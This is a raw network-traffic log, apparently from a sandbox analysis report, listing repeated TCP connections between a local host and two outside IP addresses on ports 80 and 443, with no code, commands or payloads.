Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
